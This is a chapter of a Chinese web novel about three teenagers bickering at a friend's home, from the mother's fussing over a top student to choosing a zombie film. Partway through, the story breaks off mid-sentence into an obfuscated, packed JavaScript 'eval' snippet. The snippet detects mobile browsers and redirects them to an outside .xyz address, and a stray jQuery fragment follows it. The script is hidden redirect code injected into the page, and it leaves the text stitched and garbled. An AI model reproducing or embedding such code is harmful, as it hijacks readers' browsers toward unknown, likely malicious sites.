温折春笑容一僵,看乐子一样:“那你的确不冤。”
“你到底向着谁说话?”
“谁都不向。”
“你可是我请过来的,你要记住,坚定地站在我这边,和我一起对抗恶鬼妈妈。”
“哦,”温折春敷衍地应一声,摆摆手,还想再说点什么,外面的门铃突然又叮咚响了起来。
“你爸爸回来了吗?”她听到之后随口问了一句。
许恒然怔了一怔,突地想到什么,“不是,他在外地。”
“那是谁来你家了,”温折春朝许恒然看过去,语气陡然一转,“喂,你那是什么表情?”
面前的许恒然露出了一个很丑陋的笑容,就像是知道自己做错了事又不好意思宣之于口,只能等着对方自己揣测。
温折春像个木头人一静止了几秒钟,她冷不丁地开口:“别告诉我刚才摁你家门铃的人是那个谁。”
她看起来很严肃,许恒然觉得自己要是敢说错一个字,下一秒就要被起锅烧油做成菜了。
“你听我解释,刚才因为……”
“我不听,滚吧你,既然这样,那我就先回家了!”
眼看着温折春屁股还没来得及坐下就要气冲冲地起身走了,许恒然满怀愧疚,急忙上前去拉住她:“别呀,别走呗,的确是我把他叫来的,但那也是我妈命令我的……而且,我叫他来也是为了转移我妈的注意力。”
“我早就说了我不喜欢他,既然你和他走的那么近,那绝交呗,反正我也有了新朋友!”
许恒然气得跳起来:“有了新朋友就能忘记老朋友了吗,你怎么能这么做!”
“还不是你先……”
“我都说了是我妈的主意,她听说人家宋屿成绩好,非要把人家叫过来看看,不是我,我知道你不喜欢他,怎么可能把你们两个同时叫到家里来。”许恒然的声音越来越小。
温折春审问性地眯眯眼:“意思就是你会在我不来的时候叫他呗?你们关系可真好啊,才认识不到几天。”
“瞧你,总是在别人话里挑刺——”
许恒然苦恼蹙着眉头想解释,一句完整的话没来得及说完,外面掀起一阵嘈杂,身后的房门突然被人从外面推开。
映入眼帘的是郝玉梅喜悦得如沐春风的脸,伴随着阵阵压制不住的笑声:“小恒他们正在学习呢,他们真的等了你很久了……宋屿同学,你是个好孩子,平时在学校可得帮阿姨好好看着他们……”
许恒然立马转头去看温折春,那眼神仿佛充满了怨念:喂,你刚才没锁门啊?
温折春无辜摆摆手:我以为我锁上了……
郝玉梅不知是从什么时候忘记了自己对许恒然说过的话,这会子打开了门,竟然也想不起来要找他算账了,只是一个劲地和宋屿搭话。
她伸长手臂邀请宋屿进来,侧过了身子。
温折春就是这时候与门外站着的宋屿对视上的。
他上身穿着一件美式冲锋衣,底下搭配黑灰色长裤,没有刻意显眼的装饰,简洁干净,却又独成一派风格。
像是根本没料想到会在这里碰上温折春,宋屿眉尾稍扬了起来,眼睛里带着一丝探究和好奇。
温折春以为对面在故意挑衅自己,眉毛倒竖起,瞪着眼,同样不服输。
郝玉梅看向许恒然,立刻换了一副脸面,强势命令道:“就知道坐着,客人来了也不知道给人家倒杯水?”
“哦,哦哦……我这就去。”
许恒然惊喜地意识到郝玉梅竟然已经把刚才的事给忘了,趁着她心情正好连忙答应,飞快地跑出去执行命令了。
“你也是,只说他没说你是吧?”郝玉梅上前,一把从椅子上将温折春抽起来,“你好意思光顾自己坐着?怎么这么没礼貌?”
“……”温折春不情不愿地随着郝玉梅的动作站起身。
“宋屿你快坐!”
“不用了,阿姨。”宋屿礼貌一笑,“我怎么都行。”
“那怎么行?”郝玉梅笑着,“你别管,你是客人,他们让着你是应该的——对了,阿姨去给你切点水果。”
“不用麻烦了。”
“我也是客人啊,怎么不给我切水果……”温折春哼唧抱怨,语气里尽是对郝玉梅的不满。
“想吃自己切去。”
郝玉梅对待生人熟人说话的态度截然不同,一点都不客气,然而转眼间,再和宋屿说话时,脸上止不住地笑着:“宋屿,今天晚上就在阿姨家吃饭吧,阿姨给你们做饭去。”
那笑里满满地都是对别人家孩子的羡慕和向往。
很多年以前,她幻想里自己的儿子长大之后也会变成这样。
“阿姨,真的不用了,你忙你的吧。”
郝玉梅就跟没听见一样,乐呵呵地自顾自系上围裙:“放心吧,我们家里原先是开饭店的,阿姨的厨艺不会让你失望的!”
“那还不是倒闭了……”温折春在一旁不合时宜地说了一句,声音弱弱的,仿佛只是说给自己听的。
可很不幸,被郝玉梅听了个一清二楚,她一提起来这个就一肚子气:“你还好意思说了,还不是你妈那个不靠谱的合伙人,开业前一天莫名其妙跑去非洲研究大象的粪便,我做出的所有努力全部都付诸流水了!”
合伙开饭店的事情发生在温折春出生前,她虽然没能亲眼见证,但也听父母七七八八说了个完全,大概能对的上郝玉梅说的这些。
不过她妈妈是真的很喜欢研究动物身上的一些很奇怪的地方。
温折春吐了吐舌尖,尴尬笑笑。
郝玉梅想起那年亏掉的时间和金钱,即使温折春她妈后来对她进行了补偿,但心理上的创伤是不可磨灭的,一腔热情被冷水浇灭,换谁都觉得可惜,因此她又和她妈多要了点钱,这件事便和和美美地结束了。
郝玉梅往厨房走了,顺带着给合上了门。
倏然安静下来,气氛变得怪异了,温折春左顾右盼了几秒钟,走过去一屁股坐到许恒然房间里地板上的榻榻米。
她指着让出来的那把椅子:“你坐那里吧。”
她这里还更舒服呢
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15812327|175301||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
宋屿没听她的,身子往旁边稍微一倚,靠到了门上,双臂环抱在一起,他此刻是满心的疑问。
点漆的眼瞳望向她,眸色淡得像白开水:“你总是删我干什么。”
删你?没扇你都算好的。
温折春漫不经心地回:“演讲的事情不是已经说完了吗,所以就删了啊。”
“谁跟你说完了,后续不需要改动了?”
“那你直接到学校告诉我不就行了,非要在微信上说多麻烦啊。”
宋屿怔愣两秒,倒反天罡,不要和没有逻辑的人讲逻辑。
“意思是,你微信上跟别人说完话立马就删了。”
“我只删不熟的人……我都是放到一块一起删的,没有针对你好吗。”
两个人之间的对峙被打断,许恒然两手抓着三杯热水,用胳膊肘开门进来。
他将三杯水放到一进门就能够到的桌子上:“有点烫,放凉了再喝吧。”
“让你接个水,怎么那么慢?”温折春说道。
“有本事你去啊,我家的饮水机坏了,这还是我亲自烧的水。”
她哼出一声,“我才不喝。”
“没让你喝。”
许恒然握了握自己热热的手心,对宋屿道:“对了,宋屿,我妈叫你来不会是监督我们学习的吧?”
“不是。”宋屿说。
郝玉梅的确没有,她虽然希望自己儿子能跟着好学生好好学习,但也不会把人家当成免费劳动力来使唤,请他来做客单纯只是想让许恒然和他打好关系。
许恒然放心了,摸着下巴高兴起来:“原来我妈也没那么可怕——那咱们来打游戏吧,宋屿,你什么段位啊?”
他从裤子口袋里摸出来手机:“你一看就是那种打游戏很厉害的人,正好带带我,我最近……被虐得有点惨。”
“行。”宋屿点头,也掏出来手机。
“那我干什么!”温折春气愤地从地上弹起来,“是你叫我来的,你自己倒玩上了?你还有没有良心?”
“你也玩啊,我只是想让宋屿和我们一起,没说把你排挤在外。”
温折春低头看着他手机屏幕上点开的那个游戏软件:“我不玩你们这个游戏,你不知道吗?”
就算她真的玩,她也不会同意和宋屿一起的。
真害怕看到他是那种无论学习还是游戏上都遥遥领先的人……
“那……”许恒然想了想,把桌子底下的投影仪拿出来,“那不玩游戏了,咱们看电影吧,这样谁都能参与。”
“这话说的,好像是为了迁就我才这样,我是麻烦精吗?”温折春有点不开心。
麻烦精。
宋屿第一次听到这种奇奇怪怪的称呼。
其实还蛮符合她自己的。
“不是,你想多了,根本没这意思,”他把手机递给温折春,“你来选片子总可以吧?”
“行吧。”温折春低头看上面排列的一部部影片,恐怖,悬疑,搞笑,爱情……
她最后选了一部僵尸片。